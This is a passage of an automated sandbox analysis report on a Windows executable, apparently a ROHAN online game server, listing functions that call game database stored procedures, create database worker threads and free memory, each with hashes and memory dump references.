                                                                                                                            • Instruction Fuzzy Hash: F91116B0645215ABEB34CF44CC51FBA7334EB88724F208299F7142E6C4CA756D819F5C
                                                                                                                            Function 00431B44 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetMapMemo] (?)},000000FD), ref: 00431B64
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00431BA3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00431BD8
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetMapMemo] (?)}, xrefs: 00431B5B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetMapMemo] (?)}
                                                                                                                            • API String ID: 0-147915359
                                                                                                                            • Opcode ID: b81d2b3f357f1ed7c3b846585bbacf4fc87c071e79504b09e5dd3b87b57e39a7
                                                                                                                            • Instruction ID: 219e9cb186abbc6be62505a5e30732aa202d86f68cceeae65f254c2638a2064c
                                                                                                                            • Opcode Fuzzy Hash: b81d2b3f357f1ed7c3b846585bbacf4fc87c071e79504b09e5dd3b87b57e39a7
                                                                                                                            • Instruction Fuzzy Hash: 8E11D6B1A4421CA7EB20CF55CC42F9973B4FB44714F21C285F7586E2C4DD766980CB98
                                                                                                                            Function 00438051 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_ResetAssassinRegTime] (?)},000000FD), ref: 00438065
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004380A7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004380DC
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_ResetAssassinRegTime] (?)}, xrefs: 0043805C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_ResetAssassinRegTime] (?)}
                                                                                                                            • API String ID: 0-2171894579
                                                                                                                            • Opcode ID: 136728db3ecd38324e890aae11bda67e61ec7e95b2e39fc6420ca168634ca5f8
                                                                                                                            • Instruction ID: 2d0bb1042cf614fd6652b0c86a85b5fae02b40bcd76f5a9975c94f218abd6718
                                                                                                                            • Opcode Fuzzy Hash: 136728db3ecd38324e890aae11bda67e61ec7e95b2e39fc6420ca168634ca5f8
                                                                                                                            • Instruction Fuzzy Hash: A001E1B5B8021ABBFB248F44CD52F797335EB44B14F108299FB182E2C4DAB569408F59
                                                                                                                            Function 0043A0B1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DeleteGuildLeaveTime] (?)},000000FD), ref: 0043A0C5
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043A107
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043A13C
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DeleteGuildLeaveTime] (?)}, xrefs: 0043A0BC
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DeleteGuildLeaveTime] (?)}
                                                                                                                            • API String ID: 0-2462586396
                                                                                                                            • Opcode ID: 02035c71f23e46e64b3c7ab84c08033861373c7d00cce9ad1df1db392af4c169
                                                                                                                            • Instruction ID: aa38271fe541e67e36b25572de91d9d7ea42a6550f9fd5a8bfaf9683335b734f
                                                                                                                            • Opcode Fuzzy Hash: 02035c71f23e46e64b3c7ab84c08033861373c7d00cce9ad1df1db392af4c169
                                                                                                                            • Instruction Fuzzy Hash: 6901E5B064425C6BEB20CB44CC41FEB7325EB84714F108A89F7243E2C4C6F66D908B99
                                                                                                                            Function 0043831B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_UpdateItemControlCnt] (?)},000000FD), ref: 0043832F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438371
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004383A6
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_UpdateItemControlCnt] (?)}, xrefs: 00438326
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_UpdateItemControlCnt] (?)}
                                                                                                                            • API String ID: 0-162017899
                                                                                                                            • Opcode ID: 5f5ad2b224c2110f6252c0d4f1a31f7ac39a5f1ea3d031fb46430137c449fb46
                                                                                                                            • Instruction ID: 8a2963c75706416692d7477e3e1901e0b08748f734065441e8ed0ee422ee2621
                                                                                                                            • Opcode Fuzzy Hash: 5f5ad2b224c2110f6252c0d4f1a31f7ac39a5f1ea3d031fb46430137c449fb46
                                                                                                                            • Instruction Fuzzy Hash: 0201E5B169021C77EB248B84CC52FA97334EB44714F20828BF7142E2C1D9B579418F68
                                                                                                                            Function 00438AB4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetIRefreshItemList_Complete] (?) },000000FD), ref: 00438AC8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438B0A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00438B3F
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetIRefreshItemList_Complete] (?) }, xrefs: 00438ABF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetIRefreshItemList_Complete] (?) }
                                                                                                                            • API String ID: 0-312987892
                                                                                                                            • Opcode ID: 38cc6d358956149596a87fd956413921bf6a716247fd602077216542c3f097fc
                                                                                                                            • Instruction ID: b5d1dcd14b1478ad9770d22c2921dfe3b7c64358b90d8f10c8323709afdf77f5
                                                                                                                            • Opcode Fuzzy Hash: 38cc6d358956149596a87fd956413921bf6a716247fd602077216542c3f097fc
                                                                                                                            • Instruction Fuzzy Hash: AA0144B1640654B7EB208F84CC42FA97374DB40719F10428AFB147E2D0D5B5B9808B69
                                                                                                                            Function 00471820 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42threadCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,00470400,?,00000000,?), ref: 00471850
                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,004702C1), ref: 0047185D
                                                                                                                            Strings
                                                                                                                            • CreateWorkerThread() GameDB, xrefs: 0047188C
                                                                                                                            • CreateWorkerThread() LoginDB, xrefs: 0047187D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CloseCreateHandleThread
                                                                                                                            • String ID: CreateWorkerThread() GameDB$CreateWorkerThread() LoginDB
                                                                                                                            • API String ID: 3032276028-3616832182
                                                                                                                            • Opcode ID: e4db556dedaea214b934206d0529d24c14709871a3a83eed3fefbdabc4215b9d
                                                                                                                            • Instruction ID: 435ceee3889ffa05912debb7faf75093adb57c7079e0ed8b8dd83869cc356f3d
                                                                                                                            • Opcode Fuzzy Hash: e4db556dedaea214b934206d0529d24c14709871a3a83eed3fefbdabc4215b9d
                                                                                                                            • Instruction Fuzzy Hash: 73015EB4E00208EFDB44EB89DC45FBE7374FB44305F1085A9E419A7292D778A905CB9A
                                                                                                                            Function 00460490 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 284memoryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • VirtualFree.KERNEL32(?,00080000,00004000,?,?,?,?,00000000,?,?,?,?), ref: 0046071C
                                                                                                                            • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00460770
                                                                                                                            • HeapFree.KERNEL32(?,00000000,?), ref: 0046077E
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
